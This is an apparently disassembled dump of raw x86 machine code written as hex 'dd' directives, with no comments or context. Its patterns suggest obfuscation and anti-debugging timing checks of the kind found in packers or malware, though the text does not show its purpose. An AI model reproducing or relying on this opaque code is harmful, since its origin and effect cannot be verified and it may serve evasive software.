		dd 4244481h, 1Bh, 90C35545h, 5684B1BEh,	8B6A98A5h, 0A618A59Dh
		dd 0F5BD8306h, 206A62Ch, 3F840Fh, 81660000h, 8BF4E0C3h
		dd 0A6184185h, 0DA8B6606h, 6A0000C6h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 146DC357h
		dd 0C215D8DEh, 0B9BD8B1Ah, 0B06A61Ah, 0A62C21BDh, 0D185C706h
		dd 6A62Eh, 33000000h, 0A61E4DBDh, 0F1EAE906h, 6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2DADB8C3h, 2EAEA15Eh, 1C18BF8h, 0A604159Dh, 22D78106h
		dd 8D5DE657h, 0A62CAD85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0EB5558F7h
		dd 8589C604h, 6A60435h,	52505790h, 310F5250h, 310F585Ah
		dd 8D0Fh, 585A0000h, 8B66505Fh,	6A90D8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 1F71C2C3h
		dd 70556791h, 8D898C3Ah, 6A62265h, 0FB8B006Ah, 8589006Ah
		dd 6A61F3Dh, 6799D89h, 858D06A6h, 6AABD9Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 29C35747h, 0FCF7712Ah
		dd 0EB421A72h, 6605C083h, 90444CBBh, 8E8h, 6BB50500h, 80F0F996h
		dd 0B5BB66E5h, 50505B5Bh, 0CE852h, 463D0000h, 0DEA1AEEAh
		dd 2A0EF7C3h, 5250B970h, 585A310Fh, 0E8310F5Fh,	12h, 0F9F152AEh
		dd 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 8F0FA8F0h,	0
aZxrflJ		db '[ZXf‹Új',0
		db 8Bh,	0BDh, 4Dh
		dd 6A06A60Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 3EDA0068h, 282C2584h, 4595FF3Fh
		dd 6006A612h, 1259D31h,	896006A6h, 0A62AD5BDh, 8D616106h
		dd 0A994FF8Dh, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6AD1FF37h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F1E4C355h
		dd 0FE9h, 0D7A3AA00h, 0CE4CCFFAh, 0E83E56BFh, 12F9581Bh
		dd 1E8F0Fh, 0E9600000h,	11h, 7817E7CCh,	3750B4C1h, 29C6CDDFh
		dd 39100730h, 5D8D01D0h, 6106A61Eh, 1451BD83h, 0F0106A6h
		dd 5485h, 0DEBF0F00h, 59D9D23h,	26A06A6h, 0DEA1F381h, 0F5059F3h
		dd 482h, 6FBF6600h, 240489ADh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 4C35040h, 0A8404E54h, 815FB6C5h
		dd 0B792A1CFh, 64CF8063h, 66D95FFh, 0EF8006A6h,	0DB1E90Fh
		dd 0E80000h, 5D000000h,	0BDA7ED81h, 0D88B06AAh,	6AD9B70Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4E26C351h, 1AD47E82h, 0E98A9D14h,	0Ah, 478CA502h
		dd 2FAE5055h, 0DC8AFF7Eh, 864A858Dh, 6A06A9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0FFB531C3h
		dd 0F50CFEFh, 0E8Eh, 50525000h,	5A310F52h, 8B310F58h, 89585AF9h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0EF1CF0C3h, 6473E162h, 35FFh, 8B660000h
		dd 6D9D8BDFh, 6406A61Bh, 2589h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7B8703C3h
		dd 9D89E832h, 6A604BDh,	126D85FFh, 6A06A6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B07800C3h
		dd 1F47E6EEh, 499D89h, 0FF6A06A6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 5DC35343h, 0DA0D2587h, 0B2EFACF9h
		dd 0D1BD8B62h, 0FF06A606h, 0A62095B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 675EBB1Ch, 0D2258A18h, 8F0F5624h, 6,	0EA33D381h, 0FF5F5289h
		dd 0A6116D95h, 123E906h, 8E90000h, 31000000h, 9498CF06h
		dd 0B0D88F55h, 0C99D8B00h, 0E606A60Ah, 14BB6670h, 0B19D31AAh
		dd 0E406A612h, 0D88B6671h, 98DC30BFh, 0F613C2Ch, 0F083h
		dd 0CD950100h, 0F06A613h, 0AFBBC8B6h, 0BA5CAC2Fh, 6, 0FBF1BB66h
		dd 0BD89C18Bh, 6A611B5h, 8B04E8C1h, 0E2F766FAh,	69BD2960h
		dd 8B06A612h, 0A6096595h, 0C82B6106h, 0D18BD98Ah, 421280BFh
		dd 0C9B52909h, 0E906A60Dh, 0A5h, 28B0Fh, 0D88A0000h, 8858Bh
		dd 0EE80000h, 0D000000h, 1E419516h, 8B205336h, 83A2994Fh
		dd 0C7816602h, 835F322Ch, 0B70F07C0h, 5BD89F9h,	8306A613h
		dd 3BF500C0h, 29830FD0h, 66000000h, 8F0FDF8Bh, 15h, 10E9h
		dd 0EDCD6400h, 0B5660A08h, 4770F80Eh, 413F4D39h, 43E960h
		dd 9D8B0000h, 6A60881h,	0FFFF8D8Bh, 8C0FFFFFh, 5, 0D96230BBh
		dd 1E1831Ah, 23840Fh, 85310000h, 6A62EF1h, 0FFFFA583h
		dd 60FEFFFFh, 61C7BF0Fh, 89589h, 85890000h, 6A62269h, 0E9h
		dd 6EB58D00h, 6A06AA3Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 9269C353h, 1C343659h
		dd 0F25E0F3h, 68Eh, 0F1BD0900h,	6A06A61Bh, 55BD0B00h, 0FF06A60Bh
		dd 0A6295995h, 5BD2906h, 0B906A61Bh, 0F87h, 2A3D8589h
		dd 0E18306A6h, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0D9078FCAh, 890F98C3h
		dd 2, 6AFCEDB7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0E0C3C353h, 0C381EB95h, 0EC923F0h
		dd 0B70FC02Bh, 0BAFFh, 29570000h, 0A61E698Dh, 0BD8B5F06h
		dd 6A61641h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	6AF0F780h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C441C357h, 397A66F9h, 8A9379BAh,	0E499D89h
		dd 0DF906A6h, 88h, 8BFEBF0Fh, 0A606AD95h, 0EF816606h, 8D8B121Fh
		dd 6A6040Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	4EC35646h, 0E4724ED6h, 8B504044h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0BCC35242h, 81E65AB1h, 5CA0DEE7h, 6AFB8B6Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 16F8C351h, 4676F38Ah, 83C2231Dh, 0A60FDDBDh
		dd 840F0006h, 6Ch, 68C0Fh, 9D8B0000h, 6A61635h,	0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 4096D0C4h, 0F3580A0h, 680h, 0BBE38100h, 8D78CE79h, 0A64F558Dh
		dd 0E1FFF506h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	7DC35545h, 9D898FCAh, 6A606B9h,	0BE9BD83h, 0F0006A6h
		dd 3F784h, 0EB816600h, 0BD83DB3Ch, 6A60BE9h, 840F01h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 809DC351h, 0BD835DE3h, 6A60BE9h, 9E860F03h
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6FA0C355h, 9C3BC1E9h, 0A76E317Bh
		dd 60DBB70Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	93C35747h, 6597B388h, 0C6439E66h, 0D19D0337h, 0E906A62Fh
		dd 0Ch,	0CBCEE0F6h, 9DE7226Ah, 89037E6Bh, 81D98C66h, 44185DCBh
		dd 99D8B5Bh, 8006A629h,	8B5104E1h, 0A63321BDh, 0C90A5B06h
		dd 14D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B25EEC3h, 0A615DD85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 8A720C0Ch, 458D8937h, 3306A601h, 0A6209D85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 3EB76608h, 8923B750h, 0DE82404h, 93000000h, 69C26AEBh
		dd 0F1DCA04Ch, 0D29130C3h, 0B8E0Fh, 6E90000h, 17000000h
		dd 0F5D794C2h, 0BD235FADh, 6A61285h, 9D8B006Ah,	6A60A7Dh
		dd 25DDBD01h, 36806A6h,	0E8771A7Fh, 11h, 2115E12Ch, 231FF3E9h
		dd 5EFC83C4h, 26FD7A62h, 6E95Fh, 0D9290000h, 0C59E90CDh
		dd 2434815Fh, 77057CFCh, 8EAEBF66h, 0B3595FFh, 6A06A6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0B1D146C3h, 6B1FABD5h, 7FB37070h, 0B6A38589h, 6E906A9h
		dd 9000000h, 0DED75744h, 68C0FB9h, 31000000h, 0A60B3D85h
		dd 171E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 648B57C3h, 8B81F380h, 0A9B69B85h
		dd 0F9BF0F06h, 58B0Fh, 81660000h, 0C76ECEEBh
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 608DB812h, 0D381D52Ch, 20E47BE7h
		dd 0B69FB58Bh, 5E806A9h, 6F000000h, 0B615E489h,	0E3815BF5h
		dd 2CF0B75h, 2ED9858Bh,	68906A6h, 15DD858Bh, 6A06A6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0ADA083C3h, 0EBCBB5E5h, 89FABF0Fh, 0A605ADB5h, 4468906h
		dd 4258589h, 8B5006A6h,	243489DEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 9FC35545h, 6D2B2983h, 0DB81F135h
		dd 337811C2h, 0B69BB5FFh, 0BD8B06A9h, 6A60CD9h,	14562268h
		dd 0E9525071h, 0Ch, 0CE775A18h,	0DC1C0FF0h, 0EBE3B72Dh
		dd 585A310Fh, 0DD243481h, 80710B55h, 858D21CBh,	6A9B6A3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E5C35040h
		dd 0E4AB1C4Ch, 90F8EA1Fh, 54B16050h, 0FA8A9061h, 0B3595FFh
		dd 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 61DDDFC3h, 0F041CB81h, 85C76D15h,	6A60BE9h
		dd 3, 8333C780h, 0A9B6A3BDh, 840F0006h,	59h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D2C35242h, 0A1418EDEh
		dd 0F85CB2Fh, 682h, 6DBD3300h, 8906A62Fh, 0A613B18Dh, 3AE906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0DFE116C3h, 0C305037h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 4BC35747h, 870F947Fh,	14h, 0FE9h, 0D0108800h
		dd 6729C7C2h, 0AEEA463Dh, 0F7C3DEA1h, 0BE9BD83h, 0F0306A6h
		dd 41A85h, 0CABB6600h, 0A3BD8304h, 6A9B6h, 409840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 6C9D6EC3h, 5BD2B68h,	0FF06A60Ch, 0A9B6A3B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0E5543121h, 4DC226F6h, 0C1D95FFh, 958906A6h,	6A60891h
		dd 0B697B58Bh, 6A06A9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 3F3210C3h, 5EBF2C1Ch, 0C714BB08h
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 690F8385h, 0E98DCB97h, 0Ch, 49984A8Ah
		dd 7586916h, 59E09788h,	31859D8Bh, 0E95006A6h, 0Ah, 1C96D4AAh
		dd 0E3A968D5h, 348959B5h, 0A1BD8B24h, 0FF06A607h, 0A9B6A3B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0EE9F33Eh, 55000000h, 7B1D8EE2h,	515947D0h
		dd 86BE5F30h, 0D195FFBCh, 6A06A629h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0DF34C351h
		dd 390CE9A0h, 0B58B8494h, 6A9B697h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1EC35242h, 34A7E244h, 1D8D899Fh
		dd 8B06A60Fh, 0A6076985h, 699D8B06h, 8906A60Eh,	0C486h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 2F5F272Ah, 201B1019h, 952911C3h,	6A60C39h
		dd 6AD958Bh, 8D8906A6h,	6A61F41h, 304C283h, 0A6165DBDh
		dd 0DCBB6606h, 2050899Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0FEC35343h, 0AFA342A2h, 858DA28Ah, 6A9CA6Bh
		dd 8925E380h, 0B886h, 259D8900h, 6A06A613h, 7D9D3300h
		dd 0FF06A631h, 0A9B6A3B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 6CCBF8FFh
		dd 0C6B960FEh, 8B5F2093h, 8B6061DAh, 0A61025B5h, 0FF61F506h
		dd 0A6066D95h, 2810F06h, 8B000000h, 8E896F9h, 65000000h
		dd 0E5D0494Ah, 0BB02067Ah, 3972A4F6h, 6656505Bh, 965FFE8Bh
		dd 0FFF88B66h, 0A9B6A3B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FF3FAE20h
		dd 0A60A1595h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 17E6FEA6h, 7E265A71h
		dd 0EF816690h, 0BD838766h, 6A62B29h, 2E840F00h,	89000000h
		dd 0A60CA9B5h, 0F88B9606h, 6A9650h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D890EC3h
		dd 6A618D9h, 0A3B5FFF8h, 8B06A9B6h, 0A61B6DBDh,	5595FF06h
		dd 6A06A61Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 4371C357h, 0B1BB1543h,	0FF0D2E9Fh
		dd 0A9B6A3B5h, 0E3816606h, 95FFEC77h, 6A62AD9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 45C35242h, 83DE8BE7h
		dd 0A62CF5BDh, 840F0206h, 66h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B7C35343h,	0BF0F6178h, 41858BFBh
		dd 0F806A618h, 29798501h, 0C606A6h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 757CF1FFh
		dd 60F81573h, 6E9h, 3D872500h, 893C1F26h, 0A619FD95h, 85C76106h
		dd 6A62ED1h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BBC35040h
		dd 4F8C2D1Bh, 0E9C96090h, 0Bh, 3499E957h, 1D99B059h, 0E9F653ACh
		dd 0FFFFF3C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0A6C35242h, 6E14BD4Bh, 14E80Ch,	29070000h, 85F945A7h
		dd 0B3B601E4h, 2D3E9505h, 88256831h, 0BD299C05h, 6A619B9h
		dd 0BFC18B5Bh, 3FD9AE94h, 0AE8h, 0CA9F6D00h, 85BABDA9h
		dd 0F1F2027h, 589h, 7C9CBB00h, 8D5F28B1h, 0A62CAD85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 42A54081h, 0F88B66BCh, 0D98B6650h, 66240489h, 6A2113BBh
		dd 919D8B00h, 6606A606h, 8C27CF81h, 9589006Ah, 6A62EDDh
		dd 0CD2C858Dh, 6A06AAh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 5F61B8C3h, 0D06BBFF9h, 0C2D9529h
		dd 0C08306A6h, 60605005h, 0C0F8BA66h, 0E861C68Bh, 13h
		dd 0CDD0A128h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 5ACCC7AFh
		dd 24048961h, 45A052BFh, 6A006A28h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 81CAC357h
		dd 6E1ABCF3h, 0F006A3Fh, 1581h,	0F8B0F00h, 0E9000000h
		dd 0Ah,	90E28FFFh, 2D7474FDh, 95FF613Fh, 6A61245h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F4C35747h, 6D63AF52h
		dd 2ED59D89h, 8D8D06A6h, 6A994FFh, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 894214C3h
		dd 0A6325D95h, 51BD8306h, 106A614h, 8E850Fh, 29510000h
		dd 0A61D61B5h, 26A5F06h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 85C35646h, 4AD7734Fh,	8B66D243h, 0D88B90F8h
		dd 0BE950h, 34C40000h, 44198B5Ah, 0E0A52E67h, 6A90A7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0B24161C3h, 0FA8A4BB4h, 0FE952h, 92FE0000h, 51CD8048h
		dd 0CC0C065Ch, 5D49C127h, 95FF5FB5h, 6A6066Dh, 6830Fh
		dd 85890000h, 6A6019Dh,	0F1BE9h, 0E800h, 815D0000h, 0AACD36EDh
		dd 6AF806h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8C0FEEC3h, 4, 0DCAABF66h,	6D5A5BFh, 4A858D6Dh
		dd 6A06A986h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 8C14C356h, 3B15C384h, 2880F90h
		dd 0B7000000h, 0E9905046h, 0Ah,	0A5E3D967h, 6DF59743h
		dd 0FF644B4Fh, 35h, 25896400h, 0
		dd 0AE9h, 0EF1CF000h, 4173E162h, 0FC5384Ch, 85FFDBBFh
		dd 6A6126Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	1BC35141h, 87DC2E6Ch, 0FF6A21CAh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 51C35242h, 8D91A5D9h
		dd 0B5FF813Fh, 6A61D19h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0AAC35141h, 7B8B8C29h, 95FFDE76h, 6A6116Dh
		dd 139E9h, 1D850100h, 0B006A601h, 64BF6600h, 0E970E634h
		dd 13h,	74E9B87Eh, 0BA057600h, 102CCDBDh, 269E5314h, 0E41FA8FAh
		dd 820F5671h, 6, 1F71BD8Bh, 3C5B06A6h, 0FB830F61h, 66000000h
		dd 0BD89DF8Bh, 6A613DDh, 0BAC8B60Fh, 6,	0F60C18Bh, 686h
		dd 3D8D0900h, 6106A61Fh, 904E8C1h, 0A630F9B5h, 0E2F76606h
		dd 4800Fh, 0BF660000h, 0C82B8997h, 0D18BFA8Ah, 5880Fh
		dd 27BB0000h, 0E93134CFh, 0AEh,	12E9h, 3ABD2900h, 0DDEF7D57h
		dd 5C1B1CDCh, 6CA522B0h, 8B04D410h, 185h, 3D858900h, 8306A601h
		dd 953107C0h, 6A6096Dh,	8B00C083h, 0A62961BDh, 8F38106h
		dd 3B09DBC5h, 18830FD0h, 89000000h, 0A61945B5h,	60E906h
		dd 1600000h, 0A610758Dh, 0D47FB906h, 8B617F66h,	0FFFFFF8Dh
		dd 0AE9FFh, 688F0000h, 0D91DF463h, 67455DD9h, 0F01E183h
		dd 3584h, 51858900h, 8906A60Eh,	0A61DB99Dh, 0FFA58306h
		dd 0FEFFFFFFh, 8938D380h, 195h,	6E800h,	3CF70000h, 0EF1687B8h
		dd 0CB697BBBh, 0EF805F1Ah, 0E9A4h, 0B58D0000h, 6AA4BF5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B1C35242h
		dd 56FE4689h, 6A006A5Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F4C9C353h,	0E469EA73h
		dd 4FE21CF5h, 0E0F8BB66h, 295995FFh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 15C6C1C3h
		dd 2C098589h, 5FB906A6h, 6A000011h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF49C350h
		dd 0CE92FEFh, 34000000h, 6B49077Fh, 4A1B426Ah, 0F05CBAFh
		dd 0D85h, 81666000h, 81655ECEh,	19BA78E9h, 0E1836131h
		dd 1490BFFCh, 9D8B2659h, 6A61F71h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A030AC0Ch
		dd 42FF32D0h, 0CE91Eh, 70500000h, 59E5396Fh, 49FC8427h
		dd 0B8C6C2h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9B3EC353h, 0C189B2B4h
		dd 5850Fh, 47BF0000h, 0BA2B7B51h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 96C35545h
		dd 0C233ADCBh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0F4CAA0AAh, 7E99F7Ah, 15000000h, 594C1094h, 0B589EE98h
		dd 6A606C9h, 0DE9h, 58EE4A00h, 63A239D2h, 0EF649DB6h, 6A4C9Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0BBEB42C3h, 528FEF3Fh, 0BB5327A8h, 1F26D5ADh, 4985895Bh
		dd 0D06A61Bh, 88h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 7EC35040h, 6FECC0D0h,	9D896905h, 6A60C59h
		dd 6AD958Bh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8B62B8C3h, 0A608399Dh, 0D8D8B06h
		dd 5006A604h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0BB1EAC72h, 47F38020h, 0DE9h, 0EB4DAD00h
		dd 0A229181Ch, 0AC48AEF3h, 0BD83354Ch, 6A60FDDh, 89840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 3E19C350h, 0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 6272341Ch, 0B5896886h, 6A60AC9h, 4820Fh, 8B600000h
		dd 8D8D61D9h, 6A64F55h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 81C35747h, 7E9h, 9AA7A800h, 54B91D14h
		dd 0B589E1FFh, 6A619A5h, 0BE9BD83h, 0F0006A6h, 44284h
		dd 0F5858900h, 8306A60Fh, 0A60BE9BDh, 840F0106h, 44Ah
		dd 1ED98D29h, 0FB8B06A6h, 0BE9BD83h, 0F0306A6h,	3FF86h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0B7A8404Eh, 8C66605Ch, 0D8B70FD9h, 0A04E180h
		dd 47840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 2316C350h, 715D6Dh
		dd 8B66A04Dh, 0DD858BD9h, 5306A615h, 53565FF5h,	85335B5Fh
		dd 6A6209Dh, 8E9h, 0A2F76700h, 59E36D41h, 68B0F05h, 89000000h
		dd 0A6081D95h, 0EE99006h, 0AD000000h, 6EA19E14h, 7A172917h
		dd 0A587DD50h, 5250503Fh, 310F8EB3h, 6A90585Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F88C355h, 6ADEBFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 2AC35040h, 8480C98Bh,	891EC877h, 0A61C2585h
		dd 82EF6806h, 0BF66FD66h, 481D4F6h, 0B8811024h,	51006A02h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 976AC6Ah, 95FF5A93h,	6A60B35h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 37C35646h, 3A43B276h, 0BEBB669Dh
		dd 0A3858910h, 6A06A9B6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 9A0FC352h, 27739F6Ch
		dd 0EE9F88Eh, 0F000002h, 858BDBBFh, 6A9B69Bh, 0A67CBF66h
		dd 1800C7h, 0EB810000h,	9B295F6h, 0B69FB58Bh, 6A06A9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 2926C2C3h, 0A630A195h, 0D9858B06h, 6A06A62Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2610C350h, 6A0689B4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 1153C355h, 5626B81h
		dd 9D89E1EEh, 6A63011h,	15DD858Bh, 6A06A6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0FAC0CEC3h
		dd 0F507282h, 4689F8B7h, 0DF8B6604h, 0B3525050h, 51310FC7h
		dd 89585A5Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 19C043C3h, 0E8D41413h, 7E97B41h
		dd 0BE000000h, 18076853h, 0B5FF5A2Ah, 6A9B69Bh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E6C35747h, 0F43B9966h
		dd 1ADC4B5h, 4CCE68DDh,	9E800B3h, 1F000000h, 0BAD566AAh
		dd 0D6BF4E6Dh, 2434815Bh, 0AC4F31h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C6C35747h,	31BF06A1h, 0A6199D95h
		dd 6E906h, 48790000h, 0F2D5EEB1h, 0B6A3858Dh, 6A06A9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2808CBC3h, 0CC32D78Bh, 12E9CC8Dh, 0CB000000h, 7ABDE963h
		dd 8214B1AEh, 6D567C7Ch, 0EDD4172h, 0EE850h, 0B3A00000h
		dd 0F1FEFCFh, 360899D5h, 68D26195h, 5810Fh, 79BB0000h
		dd 5B5F11ADh, 7E950h, 0D7A80000h, 0B57BE0A9h, 24048981h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 91C35343h
		dd 0EA355C0Eh, 3595FFF9h, 0B306A60Bh, 6A6128h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D0FC4C3h, 1Ch, 0FE860h, 1BE60000h, 0D93380AEh, 2612AD67h
		dd 0CB6A0A6h, 81665F9Ch, 61CA1BC7h, 0BE985C7h, 306A6h
